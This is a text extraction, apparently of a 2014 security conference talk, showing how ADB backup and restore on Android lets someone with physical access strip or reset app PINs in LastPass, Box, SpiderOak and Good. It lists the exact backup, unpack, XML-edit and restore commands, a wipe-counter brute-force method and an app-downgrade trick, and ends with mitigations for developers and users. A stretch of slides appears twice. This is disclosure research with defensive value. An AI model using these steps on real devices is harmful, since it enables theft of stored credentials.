Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 6: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 11

too much information

01100100 01100101 01110010 01110000

01100100 01100101 01110010 01110000 01111001

01100100 01100101 01110010 01110000 01101001 01100101 01110011 01110100

Chris John Riley | 22102014 | 15

ldquoSecurerdquo Containers

Multiple usesPa$$w0rd databasesCorporate mail containersSecure notes filesSecure Messaging

Chris John Riley | 22102014 | 16

secondary authentıcatıon

Chris John Riley | 22102014 | 19

buthellip

Chris John Riley | 22102014 | 20

The devıce

ıs ınsecure

Chris John Riley | 22102014 | 21

worse still

Chris John Riley | 22102014 | 22

BYOD

Bring Your Own Disease

Chris John Riley | 22102014 | 24

Solution

Chris John Riley | 22102014 | 25

Move the security closer

to the data

Chris John Riley | 22102014 | 26

Chris John Riley | 22102014 | 27

buthellip

Chris John Riley | 22102014 | 28

hellip I lost my phone

Chris John Riley | 22102014 | 29

314 mobile phones stolen in London every day

offenders traced three or four times out of 10

Source UK Metropolitan Police 012013

Chris John Riley | 22102014 | 30

state of

securityDevice

Source threatpost

Chris John Riley | 22102014 | 32

Chris John Riley | 22102014 | 33

Android PIN Brute-Force

bull Teensy devicebull Programmable USB HIDbull ~166 hours (4 digit PIN)

httpsforumshak5orgindexphptopic28165-payload-android-brute-force-4-digit-pin

KEEPCALM

Chris John Riley | 22102014 | 35

secure contaıners

wıll save us

Chris John Riley | 22102014 | 36

hellip or not

Chris John Riley | 22102014 | 38

Sc narıo

1

e

Chris John Riley | 22102014 | 39

Scenario

bull Given physical access to a devicebull What security do ldquosecurerdquo containers provide

bull temporary access (lt 3 minutes)bull permanent access

Chris John Riley | 22102014 | 41

buthellip

Chris John Riley | 22102014 | 42

remember

Chris John Riley | 22102014 | 43

secure containers

will SAVE us

Chris John Riley | 22102014 | 44

Chris John Riley | 22102014 | 46

G ALS

11

][

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

